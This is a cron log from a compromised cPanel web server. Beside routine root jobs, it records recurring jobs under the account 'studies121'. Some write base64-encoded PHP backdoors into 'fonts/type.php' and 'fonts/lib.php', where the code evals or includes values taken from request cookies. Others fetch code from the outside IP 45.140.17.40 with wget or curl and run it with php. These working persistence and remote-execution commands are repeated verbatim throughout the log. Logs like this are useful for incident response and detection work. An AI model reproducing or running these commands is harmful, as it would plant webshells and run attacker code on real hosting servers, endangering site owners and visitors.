Sep  4 17:50:01 ip-184-168-122-23 CROND[30812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:50:01 ip-184-168-122-23 CROND[30815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:50:01 ip-184-168-122-23 CROND[30816]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:50:01 ip-184-168-122-23 CROND[30818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:51:01 ip-184-168-122-23 CROND[30914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:51:01 ip-184-168-122-23 CROND[30915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:51:01 ip-184-168-122-23 CROND[30916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:51:01 ip-184-168-122-23 CROND[30917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:52:01 ip-184-168-122-23 CROND[30997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:52:01 ip-184-168-122-23 CROND[30999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:52:01 ip-184-168-122-23 CROND[31001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:52:01 ip-184-168-122-23 CROND[31000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:52:01 ip-184-168-122-23 CROND[31002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:53:01 ip-184-168-122-23 CROND[31160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:53:01 ip-184-168-122-23 CROND[31161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:53:01 ip-184-168-122-23 CROND[31163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:53:01 ip-184-168-122-23 CROND[31162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:54:02 ip-184-168-122-23 CROND[31270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:54:02 ip-184-168-122-23 CROND[31274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:54:02 ip-184-168-122-23 CROND[31272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:54:02 ip-184-168-122-23 CROND[31273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:54:02 ip-184-168-122-23 CROND[31275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:55:02 ip-184-168-122-23 CROND[31471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:55:02 ip-184-168-122-23 CROND[31469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:55:02 ip-184-168-122-23 CROND[31467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:55:02 ip-184-168-122-23 CROND[31468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:55:02 ip-184-168-122-23 CROND[31470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:55:02 ip-184-168-122-23 CROND[31472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:56:02 ip-184-168-122-23 CROND[31565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:56:02 ip-184-168-122-23 CROND[31568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:56:02 ip-184-168-122-23 CROND[31566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:56:02 ip-184-168-122-23 CROND[31567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:56:02 ip-184-168-122-23 CROND[31569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:57:01 ip-184-168-122-23 CROND[31653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:57:01 ip-184-168-122-23 CROND[31655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:57:01 ip-184-168-122-23 CROND[31656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:57:01 ip-184-168-122-23 CROND[31657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:58:01 ip-184-168-122-23 CROND[31742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:58:01 ip-184-168-122-23 CROND[31744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:58:01 ip-184-168-122-23 CROND[31746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:58:01 ip-184-168-122-23 CROND[31748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:58:01 ip-184-168-122-23 CROND[31749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:59:01 ip-184-168-122-23 CROND[31827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:59:01 ip-184-168-122-23 CROND[31829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:59:01 ip-184-168-122-23 CROND[31830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:59:01 ip-184-168-122-23 CROND[31831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:00:01 ip-184-168-122-23 CROND[31956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:00:01 ip-184-168-122-23 CROND[31957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:00:01 ip-184-168-122-23 CROND[31961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:00:01 ip-184-168-122-23 CROND[31958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:00:01 ip-184-168-122-23 CROND[31960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:00:01 ip-184-168-122-23 CROND[31964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:00:01 ip-184-168-122-23 CROND[31965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:00:01 ip-184-168-122-23 CROND[31963]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 18:00:01 ip-184-168-122-23 CROND[31962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:01:01 ip-184-168-122-23 CROND[32106]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 18:01:01 ip-184-168-122-23 CROND[32110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:01:01 ip-184-168-122-23 CROND[32108]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:01:01 ip-184-168-122-23 CROND[32109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:01:01 ip-184-168-122-23 CROND[32112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:01:01 ip-184-168-122-23 CROND[32111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32106]: starting 0anacron
Sep  4 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32127]: finished 0anacron
Sep  4 18:02:01 ip-184-168-122-23 CROND[32249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:02:01 ip-184-168-122-23 CROND[32246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:02:01 ip-184-168-122-23 CROND[32248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:02:01 ip-184-168-122-23 CROND[32250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:02:01 ip-184-168-122-23 CROND[32247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
